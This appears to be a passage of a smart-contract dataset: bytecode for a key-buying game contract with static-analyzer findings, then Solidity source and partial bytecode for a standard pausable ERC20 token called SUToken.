0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305cb177a81146101e45780630b6c9ac7146101f15780630fb5a6b41461021857806310e569731461022d57806319cc02aa146102425780631c75f0851461026b5780631cbeae5e1461029c57806329dcb0cf146102b45780632a8a8ebb146102c957806335c1d349146102de5780634158506a146102f657806356997fb41461030b5780638827a985146103205780638ddb428a146103355780638f9de9e61461034a5780638fc202ae1461036257806391051e061461037757806395f382bc1461038c57806396365d44146103a7578063971fe56b146103bc578063b961b1e0146103d1578063c47f0027146103e6578063c956d49714610432578063df0b52c814610453578063e2eb41ff14610468578063e57053cd1461054e578063e8c2364914610563578063ed953b69146105af578063ee9267d1146105c4578063fd6b7ef8146105d9578063fef10b95146105ee575b600033803b80156101d3576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b3492506101df83610603565b505050005b6101ef600435610fa3565b005b3480156101fd57600080fd5b50610206611057565b60408051918252519081900360200190f35b34801561022457600080fd5b5061020661105d565b34801561023957600080fd5b50610206611063565b34801561024e57600080fd5b50610257611069565b604080519115158252519081900360200190f35b34801561027757600080fd5b50610280611072565b60408051600160a060020a039092168252519081900360200190f35b3480156102a857600080fd5b50610280600435611081565b3480156102c057600080fd5b506102066110a9565b3480156102d557600080fd5b506102066110af565b3480156102ea57600080fd5b506102806004356110b5565b34801561030257600080fd5b506102066110c3565b34801561031757600080fd5b506102066110c9565b34801561032c57600080fd5b506102066110cf565b34801561034157600080fd5b506102066110d5565b34801561035657600080fd5b506102066004356110db565b34801561036e57600080fd5b506102066110fa565b34801561038357600080fd5b50610206611100565b34801561039857600080fd5b506101ef600435602435611106565b3480156103b357600080fd5b50610206611241565b3480156103c857600080fd5b50610206611247565b3480156103dd57600080fd5b5061020661124d565b6040805160206004803580820135601f81018490048402850184019095528484526101ef9436949293602493928401919081908401838280828437509497506112539650505050505050565b34801561043e57600080fd5b506101ef600160a060020a0360043516611410565b34801561045f57600080fd5b5061028061158f565b34801561047457600080fd5b50610489600160a060020a036004351661159e565b604051808d81526020018c81526020018b8152602001806020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183815260200182810382528b818151815260200191508051906020019080838360005b838110156105085781810151838201526020016104f0565b50505050905090810190601f1680156105355780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b34801561055a57600080fd5b50610206611696565b6040805160206004803580820135601f81018490048402850184019095528484526101ef94369492936024939284019190819084018382808284375094975061169c9650505050505050565b3480156105bb57600080fd5b50610257611899565b3480156105d057600080fd5b506102066118a7565b3480156105e557600080fd5b506101ef6118ad565b3480156105fa57600080fd5b506102066119d2565b600080600080600080600080600080600a5442101515610625576106256119d8565b601754610100900460ff161561063a57600080fd5b6017805461ff001916610100179055600d548b10156106c9576040805160e560020a62461bcd02815260206004820152602160248201527f596f75206861766520746f20627579206174206c65617374206f6e65206b657960448201527f2e00000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b601480548c019055600f8054600190810190915560048054918201815560008190527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b909101805473ffffffffffffffffffffffffffffffffffffffff191633179055546006908155601254101561074757601054603c024201600a555b6003805473ffffffffffffffffffffffffffffffffffffffff19163390811790915560009081526020819052604090206002015415156107e557600780546001810182557fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805473ffffffffffffffffffffffffffffffffffffffff19163390811790915590546008819055600091825260208290526040909120555b600e54336000908152602081905260409020600201541461082157600e5433600090815260208190526040812060028101929092556004909101555b6000995060009850600060135411156108eb576013546064603a8d020481151561084757fe5b04601b55600099505b6007548a10156108eb57600780548b90811061086857fe5b6000918252602080832090910154600e54600160a060020a039091168084529183905260409092206002015490995014156108e057601b8054600160a060020a038a16600090815260208190526040902060048101546005820180549382029093019092559154600a90920180549290910290910190555b600190990198610850565b33600090815260208190526040812060010154111561099e57336000908152602081905260409020600101546007805490916000190190811061092a57fe5b600091825260209091200154600160a060020a031697506064600f8c02600160a060020a038a16600090815260208190526040902060050180549290910490910190556064600f8c02600160a060020a038a1660009081526020819052604090206007018054929091049091019055610ab6565b60006013541115610a59576013546064600f8d02048115156109bc57fe5b049850600099505b6007548a1015610a5457600780548b9081106109dc57fe5b6000918252602080832090910154600e54600160a060020a03909116808452918390526040909220600201549099501415610a4957600160a060020a03881660009081526020819052604090206004810154600582018054918c029182019055600a909101805490910190555b6001909901986109c4565b610ab6565b6064600f8c02600154600160a060020a0316600090815260208190526040902060050180549290910490910190556064600f8c02600154600160a060020a03166000908152602081905260409020600a0180549290910490910190555b601b80548a019055606460048c02600154600160a060020a031660009081526020819052604090206005018054929091049091019055606460048c02600154600160a060020a03166000908152602081905260409020600a0180549290910490910190556064604d8c0260158054929091049091019055606460028c02601980549290910490910190556017805460ff191690556000601a819055965067016345785d8a00008b10801590610b725750670de0b6b3a76400008b105b15610ba157610b846001612710611c96565b9650600a8711610b9c576017805460ff191660011790555b610c23565b670de0b6b3a76400008b10158015610bc05750678ac7230489e800008b105b15610bee57610bd26001612710611c96565b965060648711610b9c576017805460ff19166001179055610c23565b678ac7230489e800008b10610c2357610c0a6001612710611c96565b96506101f48711610c23576017805460ff191660011790555b6017546000965060ff1615610da35742601855601980543360009081526020819052604081206005810180549093019092558254600b909201805490920190915581546015805482019055601a559055601254158015610c8d5750670de0b6b3a764000060195410155b15610c9b5760019550610d69565b6012546001148015610cb75750671bc16d674ec8000060195410155b15610cc55760019550610d69565b6012546002148015610ce157506729a2241af62c000060195410155b15610cef5760019550610d69565b6012546003148015610d0b5750674563918244f4000060195410155b15610d195760019550610d69565b6012546004148015610d355750676124fee993bc000060195410155b15610d435760019550610d69565b6012546005148015610d5f5750678ac7230489e8000060195410155b15610d6957600195505b8515610da3576012805460010190819055601180549091908110610d8957fe5b6000918252602090912001546010819055603c024201600a555b600d54610dc990610dbd8d6298968063ffffffff611d2316565b9063ffffffff611d4c16565b3360009081526020819052604090206004018054820190559450610df96207a1206298968063ffffffff611d2316565b601354811515610e0557fe5b6013805488019055049350610e266207a1206298968063ffffffff611d2316565b601354811515610e3257fe5b601c805460648f0401908190559190049350600092509050838314610e9157601c805433600090815260208190526040812060058101805490930190925582546009909201805490920190915581546015805490910190559055600191505b600c54600d541015610ede57610ed269152d02c7e14af6800000610dbd600b54600c540360145469152d02c7e14af680000003611d2390919063ffffffff16565b600c5403600d55610ee5565b600c54600d555b6017805461ff00198116909155600d54600a54601254601454601554601354601954604080518e815260208101989098528781019690965260608701949094528c1515608087015260a086019290925260c085015260e084015260ff90931615156101008301526101208201929092528315156101408201526101608101839052905133917f29857ab2d695934b23e6132c8216a962292942cbf04b0255e661701a97b4f25991908190036101800190a25050505050505050505050565b600033803b8015610fec576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b600754841115610ffb57600093505b33600090815260208190526040902054841480159061102a575033600090815260208190526040902060010154155b15611045573360009081526020819052604090206001018490555b34925061105183610603565b50505050565b601a5481565b60105481565b600d5481565b60175460ff1681565b600154600160a060020a031681565b600980548290811061108f57fe5b600091825260209091200154600160a060020a0316905081565b600a5481565b601b5481565b600780548290811061108f57fe5b60085481565b601c5481565b60125481565b600e5481565b60118054829081106110e957fe5b600091825260209091200154905081565b600f5481565b60165481565b60008033803b8015611150576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b601754610100900460ff161561116557600080fd5b6017805461ff001916610100179055600d543360009081526020819052604090206006810154600590910154918802955090039250828411156111a757600080fd5b600084116111b457600080fd5b3360009081526020819052604090206006018054850190556007548511156111db57600094505b33600090815260208190526040902054851480159061120a575033600090815260208190526040902060010154155b15611225573360009081526020819052604090206001018590555b6017805461ff001916905561123984610603565b505050505050565b60145481565b60135481565b60025481565b600033803b801561129c576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b34925066038d7ea4c680008310156112b357600080fd5b6000600160a060020a0316601d856040518082805190602001908083835b602083106112f05780518252601f1990920191602091820191016112d1565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150611336905057600080fd5b600154600160a060020a03166000908152602081815260408083206005018054870190556002805487019055338352909120855161137d9260039290920191870190611d8c565b5033601d856040518082805190602001908083835b602083106113b15780518252601f199092019160209182019101611392565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039490941693909317909255505050505050565b600033803b8015611459576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b600154600160a060020a0316331461147057600080fd5b600160a060020a0384166000908152602081905260408120600681015460059091015403935083116114a157600080fd5b601754610100900460ff16156114b657600080fd5b6017805461010061ff00199091161790556016805484019055600160a060020a03848116600081815260208190526040808220600601805488019055600154909316815282812060059081018054606492890283900401905592519192605f87020480156108fc02929091818181858888f1935050505015801561153e573d6000803e3d6000fd5b506017805461ff0019169055604080518481529051600160a060020a038616917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a250505050565b600354600160a060020a031681565b6000602052806000526040600020600091509050806000015490806001015490806002015490806003018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561165c5780601f106116315761010080835404028352916020019161165c565b820191906000526020600020905b81548152906001019060200180831161163f57829003601f168201915b50505050509080600401549080600501549080600601549080600701549080600801549080600901549080600a01549080600b015490508c565b60185481565b600033803b80156116e5576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b6000600160a060020a0316601d856040518082805190602001908083835b602083106117225780518252601f199092019160209182019101611703565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092148015925090506117e0575033600160a060020a0316601d856040518082805190602001908083835b602083106117a25780518252601f199092019160209182019101611783565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031692909214159150505b80156117fc575033600090815260208190526040902060010154155b1561104557600080601d866040518082805190602001908083835b602083106118365780518252601f199092019160209182019101611817565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820190942054600160a060020a0316855284810195909552505090810160009081205433825292819052206001015534925061105183610603565b601754610100900460ff1681565b60195481565b600033803b80156118f6576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b3360009081526020819052604081206006810154600590910154039350831161191e57600080fd5b601754610100900460ff161561193357600080fd5b6017805461ff0019166101001790556016805484019055336000818152602081905260408082206006018054870190555185156108fc0291869190818181858888f1935050505015801561198b573d6000803e3d6000fd5b506017805461ff001916905560408051848152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2505050565b60155481565b600e54600090819015611bed576000601b8190556014805460038054600160a060020a03908116855260208590526040808620600590810180546064604b97849004880281900490910190915595549354909216865285206008018054928290049093029390930401905554600654031115611b1b57611a5f600554600101600654611c96565b905060646005601454811515611a7157fe5b04600f02811515611a7e57fe5b04600080600460018503815481101515611a9457fe5b600091825260208083209190910154600160a060020a0316835282019290925260400190206005908101805492909201909155601454606491600f91040204600080600460018503815481101515611ae857fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902060080180549091019055611b76565b6014805460038054600160a060020a03908116600090815260208190526040808220600590810180546064600f9884900489028190049091019091559654945490931682529020600801805491909204909202929092040190555b601c5460145460649060059004600a02600354600980546001810182556000919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055040191909101905b4260185566038d7ea4c68000600d55600060138190556015819055601c8190556012819055601180549091908110611c2157fe5b6000918252602082200154601081905542603c90910201600a55601492909255506017805461ff0019169055600f55600e80546001908101909155546003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790556004546005819055600655565b601e805460010190819055600090839083820190611cb390611d61565b6040518082805190602001908083835b60208310611ce25780518252601f199092019160209182019101611cc3565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912092505050811515611d1857fe5b060390505b92915050565b6000821515611d3457506000611d1d565b50818102818382811515611d4457fe5b0414611d1d57fe5b60008183811515611d5957fe5b049392505050565b6040805160208082528183019092526060918082016104008038833950505060208101929092525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611dcd57805160ff1916838001178555611dfa565b82800160010185558215611dfa579182015b82811115611dfa578251825591602001919060010190611ddf565b50611e06929150611e0a565b5090565b611e2491905b80821115611e065760008155600101611e10565b905600736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820fb13e3c4025a48bbfcdfdab6de83cc4c3585b7782cdabdc8c4cd5613f603ffc10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,411 |
0x98f8a784884c99c6e72b416ba29ceff5e2433c17
|
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SUToken is PausableToken {
string public name = "Super miner token Decimals";
string public symbol = "SUT";
uint public decimals = 4;
uint public INITIAL_SUPPLY = 5000000000000;
function SUToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018457806318160ddd146101de57806323b872dd146102075780632ff2e9dc14610280578063313ce567146102a95780633f4ba83a146102d25780635c975abb146102e7578063661884631461031457806370a082311461036e5780638456cb59146103bb5780638da5cb5b146103d057806395d89b4114610425578063a9059cbb146104b3578063d73dd6231461050d578063dd62ed3e14610567578063f2fde38b146105d3575b600080fd5b341561010157600080fd5b61010961060c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106aa565b604051808215151515815260200191505060405180910390f35b34156101e957600080fd5b6101f16106da565b6040518082815260200191505060405180910390f35b341561021257600080fd5b610266600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106e0565b604051808215151515815260200191505060405180910390f35b341561028b57600080fd5b610293610712565b6040518082815260200191505060405180910390f35b34156102b457600080fd5b6102bc610718565b6040518082815260200191505060405180910390f35b34156102dd57600080fd5b6102e561071e565b005b34156102f257600080fd5b6102fa6107de565b604051808215151515815260200191505060405180910390f35b341561031f57600080fd5b610354600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107f1565b604051808215151515815260200191505060405180910390f35b341561037957600080fd5b6103a5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610821565b6040518082815260200191505060405180910390f35b34156103c657600080fd5b6103ce61086a565b005b34156103db57600080fd5b6103e361092b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043057600080fd5b610438610951565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047857808201518184015260208101905061045d565b50505050905090810190601f1680156104a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104be57600080fd5b6104f3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ef565b604051808215151515815260200191505060405180910390f35b341561051857600080fd5b61054d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a1f565b604051808215151515815260200191505060405180910390f35b341561057257600080fd5b6105bd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a4f565b6040518082815260200191505060405180910390f35b34156105de57600080fd5b61060a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ad6565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a25780601f10610677576101008083540402835291602001916106a2565b820191906000526020600020905b81548152906001019060200180831161068557829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156106c857600080fd5b6106d28383610c2e565b905092915050565b60005481565b6000600360149054906101000a900460ff161515156106fe57600080fd5b610709848484610d20565b90509392505050565b60075481565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077a57600080fd5b600360149054906101000a900460ff16151561079557600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561080f57600080fd5b61081983836110df565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108c657600080fd5b600360149054906101000a900460ff161515156108e257600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109e75780601f106109bc576101008083540402835291602001916109e7565b820191906000526020600020905b8154815290600101906020018083116109ca57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610a0d57600080fd5b610a178383611370565b905092915050565b6000600360149054906101000a900460ff16151515610a3d57600080fd5b610a478383611594565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b6e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d5d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dab57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e3657600080fd5b610e8882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f1d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fef82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111f0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611284565b611203838261179090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113ad57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113fb57600080fd5b61144d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114e282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061162582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffff